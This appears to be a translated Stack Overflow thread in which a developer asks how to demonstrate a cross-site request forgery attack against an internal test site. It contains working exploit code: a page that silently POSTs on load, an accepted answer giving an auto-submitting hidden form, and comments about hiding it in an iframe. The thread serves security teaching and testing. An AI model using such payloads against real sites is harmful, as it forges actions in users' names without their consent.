2011-07-25 18 views
15

Estoy haciendo una introducción a la seguridad web a otras personas en nuestra empresa, y quiero mostrar un ejemplo para tener más impacto.Cómo demostrar un ataque CSRF

Para esto he creado un sitio web pequeño que es vulnerable a este ataque, este sitio web solo será accesible en nuestra red.

Ahora estoy tratando de explotar este ataque, pero no tengo una pregunta:

cómo hacer esto con un formulario de envío?

No tengo problemas para hacer esto con una consulta GET, pero con un POST, intento hacer esto con javascript, no hay problema si alojo mi código en el mismo host, pero si deseo alojar mi código a otro host para ser más realista, me bloquean porque es una solicitud entre dominios.

Entonces, ¿cómo debo enviar estos POST vars?

¡Gracias!

Aquí está mi código actual:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> 
<html> 
<head> 
<title>CSRF attack demo</title> 
<script type="text/javascript"> 
function getHTTPObject() { 
     var http = false; 
     //Use IE's ActiveX items to load the file. 
     if(typeof ActiveXObject != 'undefined') { 
      try {http = new ActiveXObject("Msxml2.XMLHTTP");} 
      catch (e) { 
       try {http = new ActiveXObject("Microsoft.XMLHTTP");} 
       catch (E) {http = false;} 
      } 
     //If ActiveX is not available, use the XMLHttpRequest of Firefox/Mozilla etc. to load the document. 
     } else if (window.XMLHttpRequest) { 
      try {http = new XMLHttpRequest();} 
      catch (e) {http = false;} 
     } 
     return http; 
    } 
function post_to_url(path, params, method) { 
    method = method || "post"; // Set method to post by default, if not specified. 

    // The rest of this code assumes you are not using a library. 
    // It can be made less wordy if you use one. 
    var form = document.createElement("form"); 
    form.setAttribute("method", method); 
    form.setAttribute("action", path); 

    for(var key in params) { 
     var hiddenField = document.createElement("input"); 
     hiddenField.setAttribute("type", "hidden"); 
     hiddenField.setAttribute("name", key); 
     hiddenField.setAttribute("value", params[key]); 

     form.appendChild(hiddenField); 
    } 

    document.body.appendChild(form); 
    form.submit(); 
} 

function postToUrlBackground(path, params){ 
    var http = getHTTPObject(); 

    http.open("POST", path, true); 

    //Send the proper header information along with the request 
    http.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); 
    http.setRequestHeader("Content-length", params.length); 
    http.setRequestHeader("Connection", "close"); 

    http.onreadystatechange = function() {//Call a function when the state changes. 
     if(http.readyState == 4 && http.status == 200) { 
      //alert("Response received"); 
     } 
    } 
    http.send(params); 
} 
function TryAttack(){ 
    //alert("Sending"); 
    postToUrlBackground("http://localhost:51612/Movie/Edit/1", "Title=%28500%29This+item+has+been+changed+without+any+rights&Year=2009&OriginalTitle=%28500%29+DAYS+OF+SUMMERS&Duration=5700&IDMC=500+JOURS+ENSEMBLE"); 
    //postToUrlBackground("http://localhost:51612/Movie/Edit/1","Title=%28500%29+JOURS+ENSEMBLE&Year=2009&OriginalTitle=%28500%29+DAYS+OF+SUMMERS&Duration=5700&IDMC=500+JOURS+ENSEMBLE" ); 
    //alert("sent"); 
} 
</script> 
</head> 
<body onload="TryAttack()"> 
<img src=image.png /> 
</body> 
</html> 

Respuesta

22

en el "otro huésped" (el atacante ) que acaba de crear un método con FORMPOST cuya action (es decir, cuando se envía el formulario) es su aplicación vulnerable. Luego lo envía con javascript en esa página.

De esta manera:

<html><body> 

    <form name="csrf_form" action="http://VULNERABLE_APP/csrf.php" method="POST"> 
    <input type="hidden" name="csrf_param" value="POST_ATTACK"> 
    </form> 

    <script type="text/javascript">document.csrf_form.submit();</script> 
</body></html> 

Esto presentará un POST a su aplicación vulnerables desde el host del atacante, al abrir esa página.

+2

Bien, ya veo, ¿y ponemos esto en un iframe como este, el usuario no ve que ha sido redirigido? – J4N

+1

Genial, funciona :) Lo acumulo con un iframe + htaccess :) – J4N

+0

Wow, esto fue tan útil para mí para probar la vulnerabilidad. Si el atacante conoce los datos que espera el punto final, están dentro. Como sé los valores de forma esperados, pude demostrar esto rápidamente. Utilizará tokens antifalsificación para bloquear. Muy apreciado. –

10

Los siguientes artículos y ejemplos deberían ayudarle demo un ataque CSRF.

http://www.troyhunt.com/2010/11/owasp-top-10-for-net-developers-part-5.html

prevención

https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet

CSRF Y esta pregunta en StackOverflow. Basic cookie & CSRF question

+2

Eché un vistazo a su primer enlace (ya leí los otros dos). El problema es que en su enlace, él está usando un servicio web. Entonces él no tiene el problema de solicitud entre sitios. Pero tengo que usar un formulario de publicación estándar – J4N

+0

@Nickz El contenido fue excelente, +1 para usted – ScoRpion

Cuestiones relacionadas